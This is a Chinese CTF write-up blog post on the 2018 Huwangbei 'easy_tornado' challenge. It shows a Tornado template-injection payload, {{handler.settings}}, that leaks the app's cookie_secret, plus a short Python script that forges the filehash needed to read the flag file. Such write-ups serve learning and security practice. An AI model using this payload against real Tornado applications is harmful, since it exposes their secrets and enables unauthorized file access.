护网杯2018easy_tornado

打开题目

发现三个文件


flag.txt文件内容


显示flag在/fllllllllllllag文件中。

welcom.txt文件内容


hints.txt文件内容

filename进行md5加密前面加上cookie_secret再进行md5加密。

尝试访问

访问/fllllllllllllag文件,发现错误提示。测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名.

1
2
RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
1
/error?msg={{handler.settings}}

使用网站md5加密filename前面加上cookie_secret再次md5加密,得到结果。放到filehash处一直报错。(也不知为为什么无··无~语~)

通过搜索wp找到相关加密脚本,一开始报错Strings must be encoded before hashing。
md5.update(s.encode(“utf8”)) 得到解决方法,括号应当指定加密方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

def md5(s):
md5 = hashlib.md5()
md5.update(s.encode("utf8"))
return md5.hexdigest()

def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'e226a5d3-b3e0-42c7-bc7f-98b00e62df62'
print(md5(cookie_secret + md5(filename)))

if __name__ == '__main__':
filehash()


得到结果:
1
1b28fb5ea2c2a088ee59174580e3774e

GET flag


本文作者: Alone
本文链接: https://blog.nosecurity.cn/posts/11761.html
版权声明: 本博客所有文章除特别声明外,均为原创,采用 CC BY-SA 4.0 协议 ,转载请注明出处!